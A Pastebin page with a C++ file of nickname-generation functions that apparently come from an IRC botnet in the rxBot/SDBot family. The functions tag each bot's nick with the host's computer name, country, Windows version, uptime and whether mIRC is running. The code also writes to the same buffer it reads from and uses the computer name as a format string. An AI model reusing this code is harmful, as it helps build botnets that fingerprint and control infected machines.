Advertisement
Guest User

Untitled

a guest
Jul 20th, 2017
58
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 3.83 KB | None | 0 0
  1. #include "includes.h"
  2. #include "functions.h"
  3. #include "externs.h"
  4.  
  5. RNICK rnick[]={
  6.     #ifndef NO_REALNICK
  7.     {"real", REALNICK, rndnickreal},
  8.     #endif
  9.     {"const", CONSTNICK, rndnickconst},
  10.     {"letter", LETTERNICK, rndnickletter},
  11.     {"comp", COMPNICK, rndnickcomp},
  12.     {"country", COUNTRYNICK, rndnickcountry},
  13.     {"os", OSNICK, rndnickos}
  14. };
  15.  
  16. #ifndef NO_REALNICK
  17. #include "nicklist.h"
  18.  
  19. char *rndnickreal(char *strbuf)
  20. {
  21.     srand(GetTickCount());
  22.  
  23.     _snprintf(strbuf, MAXNICKLEN, "%s", nicklist[rand()%(sizeof(nicklist) / sizeof(char *))]);
  24.  
  25.     for (int i=0;i < maxrand;i++)
  26.         _snprintf(strbuf, MAXNICKLEN, "%s%i", strbuf, rand()%10);
  27.        
  28.     return (strbuf);
  29. }
  30. #endif
  31.  
  32. char *rndnickconst(char *strbuf)
  33. {
  34.     srand(GetTickCount());
  35.  
  36.     _snprintf(strbuf, MAXNICKLEN, "%s", nickconst);
  37.  
  38.     for (int i=0;i < maxrand;i++)
  39.         _snprintf(strbuf, MAXNICKLEN, "%s%i", strbuf, rand()%10);
  40.  
  41.     return (strbuf);
  42. }
  43.  
  44. char *rndnickletter(char *strbuf)
  45. {  
  46.     srand(GetTickCount()); 
  47.  
  48.     int randlen = (rand()%3)+maxrand;
  49.    
  50.     for (int i=0; i < randlen; i++)
  51.         strbuf[i] = (rand()%26)+97;
  52.     strbuf[i] = '\0';
  53.  
  54.     return (strbuf);
  55. }
  56.  
  57. char *rndnickcomp(char *strbuf)
  58. {
  59.     int i;
  60.  
  61.     LPTSTR lpszCompName="PC";
  62.     DWORD cchBuff = 256;
  63.     BOOL NameGood = FALSE;
  64.  
  65.     srand(GetTickCount());
  66.  
  67.     if(!GetComputerName(lpszCompName, &cchBuff))
  68.         lpszCompName="PC";
  69.  
  70.     for (i=65;i<91;i++)
  71.         if (lpszCompName[0] == i)
  72.             NameGood = TRUE;
  73.     for (i=97;i<123;i++)
  74.         if (lpszCompName[0] == i)
  75.             NameGood = TRUE;
  76.     if (!NameGood)
  77.         lpszCompName="PC";
  78.     _snprintf(strbuf, MAXNICKLEN, lpszCompName);
  79.  
  80.     for (i=0;i < maxrand;i++)
  81.         _snprintf(strbuf, MAXNICKLEN, "%s%i", strbuf, rand()%10);
  82.  
  83.     return (strbuf);
  84. }
  85.  
  86. char *rndnickcountry(char *strbuf)
  87. {
  88.     char temp[10];
  89.  
  90.     srand(GetTickCount());
  91.  
  92.     GetLocaleInfo(LOCALE_SYSTEM_DEFAULT, LOCALE_SABBREVCTRYNAME, temp, sizeof(temp));
  93.     _snprintf(strbuf, MAXNICKLEN, "%s|", temp);
  94.  
  95.     for (int i=0;i < maxrand;i++)
  96.         _snprintf(strbuf, MAXNICKLEN, "%s%i", strbuf, rand()%10);
  97.  
  98.     return (strbuf);
  99. }
  100.  
  101. char *rndnickos(char *strbuf)
  102. {
  103.     char *os="";
  104.     OSVERSIONINFO verinfo;
  105.     verinfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
  106.     GetVersionEx(&verinfo);
  107.  
  108.     srand(GetTickCount());
  109.  
  110.     if (verinfo.dwMajorVersion == 4 && verinfo.dwMinorVersion == 0) {
  111.         if (verinfo.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS) os = "95";
  112.         if (verinfo.dwPlatformId == VER_PLATFORM_WIN32_NT) os = "NT";
  113.     }
  114.     else if (verinfo.dwMajorVersion == 4 && verinfo.dwMinorVersion == 10) os = "98";
  115.     else if (verinfo.dwMajorVersion == 4 && verinfo.dwMinorVersion == 90) os = "ME";
  116.     else if (verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 0) os = "2K";
  117.     else if (verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 1) os = "XP";
  118.     else if (verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 2) os = "2K3";
  119.     else os = "???";
  120.  
  121.     _snprintf(strbuf,MAXNICKLEN,"[%s]|",os);
  122.  
  123.     for (int i=0;i < maxrand;i++)
  124.         _snprintf(strbuf, MAXNICKLEN, "%s%i", strbuf, rand()%10);
  125.  
  126.     return (strbuf);
  127. }
  128.  
  129. char *prefixnick(char *strbuf)
  130. {
  131.     char tmpbuf[MAXNICKLEN];
  132.    
  133.     unsigned int days = GetTickCount() / 86400000;
  134.     if (days > 100)
  135.         #ifndef NO_MIRCNICK
  136.         _snprintf(tmpbuf, sizeof(tmpbuf),"[%d]%s", days, ((fFindWindow("mIRC",0))?("[M]"):("")));
  137.     else
  138.         sprintf(tmpbuf, ((fFindWindow("mIRC",0))?("[M]"):("")));
  139.         #else
  140.         _snprintf(tmpbuf, sizeof(tmpbuf),"[%d]", days);
  141.         #endif
  142.  
  143.     if (strlen(tmpbuf) > 2) {
  144.         strncat(tmpbuf, strbuf, sizeof(tmpbuf));
  145.         strncpy(strbuf, tmpbuf, MAXNICKLEN);
  146.     }
  147.  
  148.     return (strbuf);
  149. };
  150.  
  151. char *rndnick(char *strbuf, int type, BOOL prefix, char *name)
  152. {
  153.     for (int i=0; i < (sizeof(rnick) / sizeof(RNICK)); i++)
  154.         if ((name)?(strcmp(name,rnick[i].name)==0):(rnick[i].type == type)) {
  155.             rnick[i].rnfunc(strbuf);
  156.             break;
  157.         }
  158.  
  159.     return ((prefix)?(prefixnick(strbuf)):(strbuf));
  160. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement